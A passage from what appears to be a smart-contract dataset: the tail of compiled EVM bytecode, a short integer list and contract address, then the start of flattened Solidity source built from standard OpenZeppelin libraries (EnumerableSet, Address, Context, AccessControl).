11ed657fe5b6020026020010151838381518110611eea57fe5b6020026020010151611181565b838281518110611f0357fe5b6020908102919091010152600101611eb8565b60007f0000000000000000000000000bc529c00c6401aef6d220be8c6ea1667f6ad93e6001600160a01b0316826001600160a01b03161415611f7957507f0000000000000000000000000000000000000000000000000de0b6b3a7640000610895565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316826001600160a01b03161415611fda57507f0000000000000000000000000000000000000000000000000de0b6b3a7640000610895565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316141561203b57507f0000000000000000000000000000000000000000000000000000000000000000610895565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316826001600160a01b0316141561209c57507f0000000000000000000000000000000000000000000000000000000000000000610895565b6108956101356124d3565b6000806120bc6120b5610808565b8490611115565b90506106e18382611056565b60006106e18383612752565b60006120e96120e16107da565b6101476114ec565b6120f48484846128c0565b949350505050565b60006106e18383611d86565b60006121156120e16107da565b6120f48484846128f3565b60006106e18383611181565b60006105fc61214b61213c610808565b670de0b6b3a764000090611056565b8390611181565b600061215c610ab3565b6001600160a01b031663aaabadc56040518163ffffffff1660e01b815260040160206040518083038186803b15801561219457600080fd5b505afa1580156121a8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064f9190614884565b606060006121d861174b565b9150600090506000826000815181106121ed57fe5b602002602001015190506000600190505b8351811015612244578184828151811061221457fe5b6020026020010151111561223c5780925083818151811061223157fe5b602002602001015191505b6001016121fe565b50509091565b670de0b6b3a764000060005b83518110156122ac576122a261229b85838151811061227157fe5b602002602001015185848151811061228557fe5b602002602001015161292690919063ffffffff16565b8390612752565b9150600101612256565b506105fc600082116101376114ec565b60006122c66115da565b82604051602001610a4c929190614c60565b600060606123036122e7610a8f565b6001600160a01b0316876001600160a01b0316146101486114ec565b6123108787878787612975565b915091509550959350505050565b6108048282612a09565b600b54612337908260006110ee565b600b556040517f5a9e84f78f7957cb4ed7478eb0fcad35ee4ecbe2e0f298420b28a3955392573f9061130b908390614ce2565b60028151101561237957610613565b60008160008151811061238857fe5b602002602001015190506000600190505b82518110156107d55760008382815181106123b057fe5b602002602001015190506123d9816001600160a01b0316846001600160a01b03161060656114ec565b9150600101612399565b600073ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1ba1b612402610a8f565b6001600160a01b03161415801561241d575061241d83612a97565b156124455761242a610a8f565b6001600160a01b0316336001600160a01b03161490506105fc565b61244d612152565b6001600160a01b0316639be2a8848484306040518463ffffffff1660e01b815260040161247c93929190614d0e565b60206040518083038186803b15801561249457600080fd5b505afa1580156124a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124cc9190614785565b90506105fc565b7f08c379a0000000000000000000000000000000000000000000000000000000006000908152602060045260076024526642414c23000030600a808404818106603090810160081b95839006959095019082900491820690940160101b939093010160c81b604452606490fd5b600061254f84841115836114ec565b5050900390565b4690565b600080612575612570846004601f880201612b05565b612b0f565b9050600061258c6109d08560806010890201611e43565b9050600061259985612b2b565b90506125a6838383612baa565b9695505050505050565b6060806125bb611710565b67ffffffffffffffff811180156125d157600080fd5b506040519080825280602002602001820160405280156125fb578160200160208202803683370190505b5090508261260a5790506125a6565b61263d88878151811061261957fe5b602002602001015188888151811061262d57fe5b6020026020010151878787612c1e565b81878151811061264957fe5b6020908102919091010152979650505050505050565b60005b61266a611710565b8110156126c4576126a584828151811061268057fe5b602002602001015184838151811061269457fe5b60200260200101518463ffffffff16565b8482815181106126b157fe5b6020908102919091010152600101612662565b50505050565b6000606060006126d984612ca6565b905060008160028111156126e957fe5b1415612704576126fa878786612cbc565b9250925050612730565b600181600281111561271257fe5b1415612722576126fa8785612d9f565b6126fa87878787612dd1565b505b94509492505050565b6000612748848461105661265f565b6120f4828561224a565b600082820261276c84158061113257508385838161112f57fe5b670de0b6b3a764000090049392505050565b6127956001600160a01b038316151561019b6114ec565b6127a1826000836107d5565b6001600160a01b0382166000908152602081905260409020546127c790826101a1612540565b6001600160a01b0383166000908152602081905260409020556002546127ed9082612e40565b6002556040516000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061282e908590614d05565b60405180910390a35050565b6000606080612847611677565b606060006128536121cc565b915091506000612863838c61224a565b905060606128778c8585600954868f6125b0565b90506128868c8261105661265f565b600060606128968e878d8d612e4e565b915091506128a58e8288612ea9565b60095590975095509350505050985098509895505050505050565b60006128ca611677565b6120f4836128db8660200151612eb8565b846128e98860400151612eb8565b8860600151612fda565b60006128fd611677565b6120f48361290e8660200151612eb8565b8461291c8860400151612eb8565b8860600151613047565b60008061293384846130bd565b9050600061294d61294683612710611115565b60016110ca565b905080821015612962576000925050506105fc565b61296c8282611056565b925050506105fc565b60006060612981611677565b600061298c84612ca6565b90506129a7600082600281111561299f57fe5b1460ce6114ec565b60606129b2856131f0565b90506129bf610796611710565b6129c98187611dce565b60606129d36121cc565b50905060006129e2828461224a565b905060006129f282610870611710565b600992909255509a91995090975050505050505050565b612a15600083836107d5565b600254612a2290826110ca565b6002556001600160a01b038216600090815260208190526040902054612a4890826110ca565b6001600160a01b0383166000818152602081905260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061282e908590614d05565b6000612ac27fe01af92c00000000000000000000000000000000000000000000000000000000610a17565b821480612af65750612af37f3e56920500000000000000000000000000000000000000000000000000000000610a17565b82145b806105fc57506105fc82613206565b1c637fffffff1690565b60006105fc637fffffff61108684670de0b6b3a7640000611115565b60004281612b3a8460c0611e39565b90506000612b498560e0611e39565b905080831115612b6657670de0b6b3a76400009350505050610895565b81831015612b7a5760009350505050610895565b8181038284038115612b9557612b908183611d86565b612b9f565b670de0b6b3a76400005b979650505050505050565b6000811580612bb857508284145b15612bc45750826106e1565b670de0b6b3a76400008210612bda5750816106e1565b82841115612c04576000612bf083858703612752565b9050612bfc8582611056565b9150506106e1565b6000612c1283868603612752565b9050612bfc85826110ca565b6000838311612c2f57506000612c9d565b6000612c3b8585611181565b90506000612c51670de0b6b3a764000088611d86565b9050612c65826709b6e64a8ec60000611734565b91506000612c73838361326a565b90506000612c8a612c8383613296565b8b90612752565b9050612c968187612752565b9450505050505b95945050505050565b6000818060200190518101906105fc91906148ee565b60006060612cc8611677565b600080612cd4856132bc565b91509150612cec612ce3611710565b821060646114ec565b6060612cf6611710565b67ffffffffffffffff81118015612d0c57600080fd5b50604051908082528060200260200182016040528015612d36578160200160208202803683370190505b509050612d7a888381518110612d4857fe5b6020026020010151888481518110612d5c57fe5b602002602001015185612d6d610616565b612d75610808565b6132de565b818381518110612d8657fe5b6020908102919091010152919791965090945050505050565b600060606000612dae8461339e565b90506060612dc48683612dbf610616565b6133b4565b9196919550909350505050565b60006060612ddd611677565b60606000612dea85613466565b91509150612dfb825161082a611710565b612e058287611dce565b6000612e22898985612e15610616565b612e1d610808565b61347e565b9050612e328282111560cf6114ec565b989197509095505050505050565b60006106e183836001612540565b600060606000612e5d84612ca6565b90506001816002811115612e6d57fe5b1415612e7f576126fa878787876136ac565b6002816002811115612e8d57fe5b1415612e9e576126fa878786613709565b61272e6101366124d3565b600061274884846110ca61265f565b6000807f0000000000000000000000000bc529c00c6401aef6d220be8c6ea1667f6ad93e6001600160a01b0316836001600160a01b03161415612efd57506000612fce565b7f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316836001600160a01b03161415612f3f57506001612fce565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b03161415612f8157506002612fce565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b03161415612fc357506003612fce565b612fce6101356124d3565b6106e181600b5461255a565b6000612ffc612ff187670429d069189e0000612752565b8311156101306114ec565b600061300887846110ca565b905060006130168883611181565b905060006130248887611d86565b90506000613032838361326a565b9050612c9661304082613296565b8990612752565b600061306961305e85670429d069189e0000612752565b8311156101316114ec565b600061307f6130788685611056565b8690611181565b9050600061308d8588611181565b9050600061309b838361326a565b905060006130b182670de0b6b3a7640000611056565b9050612c968a82611115565b6000816130d35750670de0b6b3a76400006105fc565b826130e0575060006105fc565b61310d7f8000000000000000000000000000000000000000000000000000000000000000841060066114ec565b82613133770bce5086492111aea88f4bb1ca6bcf584181ea8059f76532841060076114ec565b826000670c7d713b49da0000831380156131545750670f43fc2c04ee000083125b1561318b576000613164846137b6565b9050670de0b6b3a764000080820784020583670de0b6b3a764000083050201915050613199565b81613195846138ed565b0290505b670de0b6b3a764000090056131e77ffffffffffffffffffffffffffffffffffffffffffffffffdc702bd3a30fc000082128015906131e0575068070c1cc73b00c800008213155b60086114ec565b6125a681613c8d565b6060818060200190518101906106e191906149b4565b60006132317f38e9922e00000000000000000000000000000000000000000000000000000000610a17565b8214806105fc57506132627f50dd6ed900000000000000000000000000000000000000000000000000000000610a17565b909114919050565b60008061327784846130bd565b9050600061328a61294683612710611115565b9050612c9d82826110ca565b6000670de0b6b3a764000082106132ae5760006105fc565b50670de0b6b3a76400000390565b600080828060200190518101906132d3919061497e565b909590945092505050565b6000806132ef846110868188611056565b90506133086709b6e64a8ec600008210156101326114ec565b600061332661331f670de0b6b3a764000089611d86565b839061326a565b9050600061333d61333683613296565b8a90612752565b9050600061334a89613296565b905060006133588383611115565b905060006133668483611056565b905061338e613387613380670de0b6b3a76400008b611056565b8490612752565b82906110ca565b9c9b505050505050505050505050565b6000818060200190518101906106e19190614951565b606060006133c28484611d86565b90506060855167ffffffffffffffff811180156133de57600080fd5b50604051908082528060200260200182016040528015613408578160200160208202803683370190505b50905060005b865181101561345c5761343d8388838151811061342757fe5b602002602001015161275290919063ffffffff16565b82828151811061344957fe5b602090810291909101015260010161340e565b5095945050505050565b60606000828060200190518101906132d3919061490a565b60006060845167ffffffffffffffff8111801561349a57600080fd5b506040519080825280602002602001820160405280156134c4578160200160208202803683370190505b5090506000805b8851811015613589576135248982815181106134e357fe5b60200260200101516110868984815181106134fa57fe5b60200260200101518c858151811061350e57fe5b602002602001015161105690919063ffffffff16565b83828151811061353057fe5b60200260200101818152505061357f61357889838151811061354e57fe5b602002602001015185848151811061356257fe5b602002602001015161111590919063ffffffff16565b83906110ca565b91506001016134cb565b50670de0b6b3a764000060005b895181101561368b5760008482815181106135ad57fe5b602002602001015184111561360d5760006135d66135ca86613296565b8d858151811061342757fe5b905060006135ea828c868151811061350e57fe5b905061360461357861214b670de0b6b3a76400008c611056565b92505050613624565b88828151811061361957fe5b602002602001015190505b600061364d8c848151811061363557fe5b6020026020010151610875848f878151811061350e57fe5b905061367f6136788c858151811061366157fe5b60200260200101518361292690919063ffffffff16565b8590612752565b93505050600101613596565b5061369f61369882613296565b8790611115565b9998505050505050505050565b600060608060006136bc85613466565b915091506136d26136cb611710565b8351611033565b6136dc8287611dce565b60006136f98989856136ec610616565b6136f4610808565b61415d565b9050612e328282101560d06114ec565b60006060600080613719856132bc565b91509150613728612ce3611710565b6060613732611710565b67ffffffffffffffff8111801561374857600080fd5b50604051908082528060200260200182016040528015613772578160200160208202803683370190505b509050612d7a88838151811061378457fe5b602002602001015188848151811061379857fe5b6020026020010151856137a9610616565b6137b1610808565b61436f565b670de0b6b3a7640000026000806ec097ce7bc90715b34b9f1000000000808401907fffffffffffffffffffffffffffffffffff3f68318436f8ea4cb460f0000000008501028161380257fe5b05905060006ec097ce7bc90715b34b9f100000000082800205905081806ec097ce7bc90715b34b9f100000000081840205915060038205016ec097ce7bc90715b34b9f100000000082840205915060058205016ec097ce7bc90715b34b9f100000000082840205915060078205016ec097ce7bc90715b34b9f100000000082840205915060098205016ec097ce7bc90715b34b9f1000000000828402059150600b8205016ec097ce7bc90715b34b9f1000000000828402059150600d8205016ec097ce7bc90715b34b9f1000000000828402059150600f826002919005919091010295945050505050565b6000670de0b6b3a764000082121561392a57613920826ec097ce7bc90715b34b9f10000000008161391a57fe5b056138ed565b6000039050610895565b60007e1600ef3172e58d2e933ec884fde10064c63b5372d805e203c0000000000000831261397b57770195e54c5dd42177f53a27172fa9ec630262827000000000830592506806f05b59d3b2000000015b73011798004d755d3c8bc8e03204cf44619e00000083126139b3576b1425982cf597cd205cef7380830592506803782dace9d9000000015b606492830292026e01855144814a7ff805980ff008400083126139fb576e01855144814a7ff805980ff008400068056bc75e2d63100000840205925068ad78ebc5ac62000000015b6b02df0ab5a80a22c61ab5a7008312613a36576b02df0ab5a80a22c61ab5a70068056bc75e2d6310000084020592506856bc75e2d631000000015b693f1fce3da636ea5cf8508312613a6d57693f1fce3da636ea5cf85068056bc75e2d631000008402059250682b5e3af16b18800000015b690127fa27722cc06cc5e28312613aa457690127fa27722cc06cc5e268056bc75e2d6310000084020592506815af1d78b58c400000015b68280e60114edb805d038312613ad95768280e60114edb805d0368056bc75e2d631000008402059250680ad78ebc5ac6200000015b680ebc5fb417461211108312613b0457680ebc5fb4174612111068056bc75e2d631000009384020592015b6808f00f760a4b2db55d8312613b39576808f00f760a4b2db55d68056bc75e2d6310000084020592506802b5e3af16b1880000015b6806f5f17757889379378312613b6e576806f5f177578893793768056bc75e2d63100000840205925068015af1d78b58c40000015b6806248f33704b2866038312613ba2576806248f33704b28660368056bc75e2d63100000840205925067ad78ebc5ac620000015b6805c548670b9510e7ac8312613bd6576805c548670b9510e7ac68056bc75e2d6310000084020592506756bc75e2d6310000015b600068056bc75e2d63100000840168056bc75e2d631000008086030281613bf957fe5b059050600068056bc75e2d63100000828002059050818068056bc75e2d63100000818402059150600382050168056bc75e2d63100000828402059150600582050168056bc75e2d63100000828402059150600782050168056bc75e2d63100000828402059150600982050168056bc75e2d63100000828402059150600b820501600202606485820105979650505050505050565b6000613cd27ffffffffffffffffffffffffffffffffffffffffffffffffdc702bd3a30fc00008312158015613ccb575068070c1cc73b00c800008313155b60096114ec565b6000821215613d0657613ce782600003613c8d565b6ec097ce7bc90715b34b9f100000000081613cfe57fe5b059050610895565b60006806f05b59d3b20000008312613d5c57507ffffffffffffffffffffffffffffffffffffffffffffffff90fa4a62c4e00000090910190770195e54c5dd42177f53a27172fa9ec630262827000000000613da8565b6803782dace9d90000008312613da457507ffffffffffffffffffffffffffffffffffffffffffffffffc87d2531627000000909101906b1425982cf597cd205cef7380613da8565b5060015b6064929092029168056bc75e2d6310000068ad78ebc5ac620000008412613e0e577fffffffffffffffffffffffffffffffffffffffffffffff5287143a539e0000009093019268056bc75e2d631000006e01855144814a7ff805980ff008400082020590505b6856bc75e2d6310000008412613e60577fffffffffffffffffffffffffffffffffffffffffffffffa9438a1d29cf0000009093019268056bc75e2d631000006b02df0ab5a80a22c61ab5a70082020590505b682b5e3af16b188000008412613eb0577fffffffffffffffffffffffffffffffffffffffffffffffd4a1c50e94e78000009093019268056bc75e2d63100000693f1fce3da636ea5cf85082020590505b6815af1d78b58c4000008412613f00577fffffffffffffffffffffffffffffffffffffffffffffffea50e2874a73c000009093019268056bc75e2d63100000690127fa27722cc06cc5e282020590505b680ad78ebc5ac62000008412613f4f577ffffffffffffffffffffffffffffffffffffffffffffffff5287143a539e000009093019268056bc75e2d6310000068280e60114edb805d0382020590505b68056bc75e2d631000008412613f9e577ffffffffffffffffffffffffffffffffffffffffffffffffa9438a1d29cf000009093019268056bc75e2d63100000680ebc5fb4174612111082020590505b6802b5e3af16b18800008412613fed577ffffffffffffffffffffffffffffffffffffffffffffffffd4a1c50e94e7800009093019268056bc75e2d631000006808f00f760a4b2db55d82020590505b68015af1d78b58c40000841261403c577ffffffffffffffffffffffffffffffffffffffffffffffffea50e2874a73c00009093019268056bc75e2d631000006806f5f177578893793782020590505b68056bc75e2d631000008481019085906002908280020505918201919050600368056bc75e2d631000008783020505918201919050600468056bc75e2d631000008783020505918201919050600568056bc75e2d631000008783020505918201919050600668056bc75e2d631000008783020505918201919050600768056bc75e2d631000008783020505918201919050600868056bc75e2d631000008783020505918201919050600968056bc75e2d631000008783020505918201919050600a68056bc75e2d631000008783020505918201919050600b68056bc75e2d631000008783020505918201919050600c68056bc75e2d631000008783020505918201919050606468056bc75e2d63100000848402058502059695505050505050565b60006060845167ffffffffffffffff8111801561417957600080fd5b506040519080825280602002602001820160405280156141a3578160200160208202803683370190505b5090506000805b885181101561424b576142038982815181106141c257fe5b60200260200101516108758984815181106141d957fe5b60200260200101518c85815181106141ed57fe5b60200260200101516110ca90919063ffffffff16565b83828151811061420f57fe5b60200260200101818152505061424161357889838151811061422d57fe5b602002602001015185848151811061342757fe5b91506001016141aa565b50670de0b6b3a764000060005b895181101561432c5760008385838151811061427057fe5b602002602001015111156142cc5760006142956135ca86670de0b6b3a7640000611056565b905060006142a9828c868151811061350e57fe5b90506142c361357861229b670de0b6b3a76400008c611056565b925050506142e3565b8882815181106142d857fe5b602002602001015190505b600061430c8c84815181106142f457fe5b6020026020010151610875848f87815181106141ed57fe5b90506143206136788c858151811061366157fe5b93505050600101614258565b50670de0b6b3a76400008111156143635761435961435282670de0b6b3a7640000611056565b8790612752565b9350505050612c9d565b60009350505050612c9d565b6000806143808461108681886110ca565b90506143996729a2241af62c00008211156101336114ec565b60006143b061331f670de0b6b3a764000089611181565b905060006143d06143c983670de0b6b3a7640000611056565b8a90611115565b905060006143dd89613296565b905060006143eb8383611115565b905060006143f98483611056565b905061338e613387614413670de0b6b3a76400008b611056565b8490611181565b80356105fc81614eac565b600082601f830112614435578081fd5b813561444861444382614e8c565b614e65565b81815291506020808301908481018184028601820187101561446957600080fd5b60005b848110156144885781358452928201929082019060010161446c565b505050505092915050565b600082601f8301126144a3578081fd5b81516144b161444382614e8c565b8181529150602080830190848101818402860182018710156144d257600080fd5b60005b84811015614488578151845292820192908201906001016144d5565b600082601f830112614501578081fd5b813567ffffffffffffffff811115614517578182fd5b61452a6020601f19601f84011601614e65565b915080825283602082850101111561454157600080fd5b8060208401602084013760009082016020015292915050565b8035600281106105fc57600080fd5b60006020828403121561457a578081fd5b81356106e181614eac565b60008060408385031215614597578081fd5b82356145a281614eac565b915060208301356145b281614eac565b809150509250929050565b6000806000606084860312156145d1578081fd5b83356145dc81614eac565b925060208401356145ec81614eac565b929592945050506040919091013590565b600080600080600080600060e0888a031215614617578283fd5b873561462281614eac565b9650602088013561463281614eac565b95506040880135945060608801359350608088013560ff81168114614655578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215614684578182fd5b823561468f81614eac565b946020939093013593505050565b6000806000606084860312156146b1578081fd5b835167ffffffffffffffff808211156146c8578283fd5b818601915086601f8301126146db578283fd5b81516146e961444382614e8c565b80828252602080830192508086018b828387028901011115614709578788fd5b8796505b8487101561473457805161472081614eac565b84526001969096019592810192810161470d565b50890151909750935050508082111561474b578283fd5b5061475886828701614493565b925050604084015190509250925092565b60006020828403121561477a578081fd5b81356106e181614ec1565b600060208284031215614796578081fd5b81516106e181614ec1565b600080600080600080600060e0888a0312156147bb578081fd5b8735965060208801356147cd81614eac565b955060408801356147dd81614eac565b9450606088013567ffffffffffffffff808211156147f9578283fd5b6148058b838c01614425565b955060808a0135945060a08a0135935060c08a0135915080821115614828578283fd5b506148358a828b016144f1565b91505092959891949750929550565b600060208284031215614855578081fd5b81357fffffffff00000000000000000000000000000000000000000000000000000000811681146106e1578182fd5b600060208284031215614895578081fd5b81516106e181614eac565b600080604083850312156148b2578182fd5b82356148bd81614eac565b9150602083013567ffffffffffffffff8111156148d8578182fd5b6148e4858286016144f1565b9150509250929050565b6000602082840312156148ff578081fd5b81516106e181614ecf565b60008060006060848603121561491e578081fd5b835161492981614ecf565b602085015190935067ffffffffffffffff811115614945578182fd5b61475886828701614493565b60008060408385031215614963578182fd5b825161496e81614ecf565b6020939093015192949293505050565b600080600060608486031215614992578081fd5b835161499d81614ecf565b602085015160409095015190969495509392505050565b600080604083850312156149c6578182fd5b82516149d181614ecf565b602084015190925067ffffffffffffffff8111156149ed578182fd5b6148e485828601614493565b600080600060608486031215614a0d578081fd5b833567ffffffffffffffff80821115614a24578283fd5b8186019150610120808389031215614a3a578384fd5b614a4381614e65565b9050614a4f888461455a565b8152614a5e886020850161441a565b6020820152614a70886040850161441a565b6040820152606083013560608201526080830135608082015260a083013560a0820152614aa08860c0850161441a565b60c0820152614ab28860e0850161441a565b60e08201526101008084013583811115614aca578586fd5b614ad68a8287016144f1565b9183019190915250976020870135975060409096013595945050505050565b600060208284031215614b06578081fd5b5035919050565b600080600060608486031215614b21578081fd5b8335925060208401359150604084013567ffffffffffffffff811115614b45578182fd5b614b5186828701614425565b9150509250925092565b60008060008060808587031215614b70578182fd5b8451935060208501519250604085015191506060850151614b9081614eac565b939692955090935050565b6000815180845260208085019450808401835b83811015614bca57815187529582019590820190600101614bae565b509495945050505050565b60008151808452815b81811015614bfa57602081850181015186830182015201614bde565b81811115614c0b5782602083870101525b50601f01601f19169290920160200192915050565b9182527fffffffff0000000000000000000000000000000000000000000000000000000016602082015260240190565b6000828483379101908152919050565b7f190100000000000000000000000000000000000000000000000000000000000081526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6000602082526106e16020830184614b9b565b600060408252614cd06040830185614b9b565b8281036020840152612c9d8185614b9b565b901515815260200190565b92151583526020830191909152604082015260600190565b90815260200190565b9283526001600160a01b03918216602084015216604082015260600190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b9485526020850193909352604084019190915260608301526001600160a01b0316608082015260a00190565b6000838252604060208301526120f46040830184614bd5565b9182526001600160a01b0316602082015260400190565b93845260ff9290921660208401526040830152606082015260800190565b6000602082526106e16020830184614bd5565b6000838252604060208301526120f46040830184614b9b565b600084825283602083015260606040830152612c9d6060830184614b9b565b600085825284602083015260806040830152614e456080830185614b9b565b8281036060840152612b9f8185614b9b565b60ff91909116815260200190565b60405181810167ffffffffffffffff81118282101715614e8457600080fd5b604052919050565b600067ffffffffffffffff821115614ea2578081fd5b5060209081020190565b6001600160a01b038116811461061357600080fd5b801515811461061357600080fd5b6003811061061357600080fdfea264697066735822122043fe62b932fca361924bc6d1251a9cf53e36adde19308c6e5b13753d3adc23ee64736f6c63430007010033
[ 4, 7, 9, 12, 32 ]
0xf2b7f4662583c8b878986d0bd02061ad9adf2d3d
// File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.6.2; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/AccessControl.sol pragma solidity ^0.6.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * 